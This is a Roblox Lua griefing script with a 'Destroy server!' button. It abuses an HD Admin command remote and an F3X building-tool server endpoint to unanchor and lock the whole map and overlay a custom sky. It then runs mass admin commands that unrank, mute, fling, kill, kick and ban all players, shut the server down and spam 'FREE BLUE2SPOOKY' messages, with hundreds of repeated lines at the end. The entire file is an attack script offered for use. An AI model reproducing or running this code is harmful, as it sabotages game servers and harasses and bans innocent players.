local player = game.Players.LocalPlayer local replicatedStorage = game:GetService("ReplicatedStorage") local screenGui = Instance.new("ScreenGui") screenGui.Name = "FUICK U SKID!!!11" screenGui.Parent = player:WaitForChild("PlayerGui") screenGui.ResetOnSpawn = false local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 0, 0, 0) mainFrame.Position = UDim2.new(1, -300, 0.5, -225) mainFrame.BackgroundColor3 = Color3.new(0, 0, 0) mainFrame.BorderSizePixel = 0 mainFrame.BorderColor3 = Color3.new(0, 0, 1) mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = screenGui local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 200, 0, 100) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.1, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Destroy server!" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 30 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";punish me") RequestCommand:InvokeServer(";unrank all") RequestCommand:InvokeServer(";fog inf") RequestCommand:InvokeServer(";fogcolor bk") wait(1) RequestCommand:InvokeServer(";music 72089843969979") RequestCommand:InvokeServer(";pitch 0.19") RequestCommand:InvokeServer(";volume inf") RequestCommand:InvokeServer(";btools me") wait(1) local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Unanchor() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) SetAnchor(false,v) end) end end Unanchor() wait(1) RequestCommand:InvokeServer(";savemap") local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(6000,6000,6000)) SetLocked(v,true) end end end Sky("97432601751601") RequestCommand:InvokeServer(";mute others") RequestCommand:InvokeServer(";uncmdbar2 others") RequestCommand:InvokeServer(";savemap") wait(1) RequestCommand:InvokeServer(";sm FREE BLUE2SPOOKY HE AINT DO NOTHING WRONG") RequestCommand:InvokeServer(";loopfling all") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY") RequestCommand:InvokeServer(";systemmessage LOL!") RequestCommand:InvokeServer(";kick all LOL BLUE2SPOOKY RETURNS") RequestCommand:InvokeServer(";mute others") RequestCommand:InvokeServer(";uncmdbar2 others") wait(4) RequestCommand:InvokeServer(";prank others noacc") wait(3) RequestCommand:InvokeServer(";shutdown") RequestCommand:InvokeServer(";gfp 14277928233") wait(3) RequestCommand:InvokeServer(";sm FREE BLUE2SPOOKY HE AINT DO NOTHING WRONG") RequestCommand:InvokeServer(";lasereyes others") RequestCommand:InvokeServer(";loopkill all") RequestCommand:InvokeServer(";n all BLUE2SPOOKY TEAM RUINED TS SERVER XD") RequestCommand:InvokeServer(";dban all") RequestCommand:InvokeServer(";unrank all") RequestCommand:InvokeServer(";n all LOL") wait(1) RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") RequestCommand:InvokeServer(";countdown2 inf") 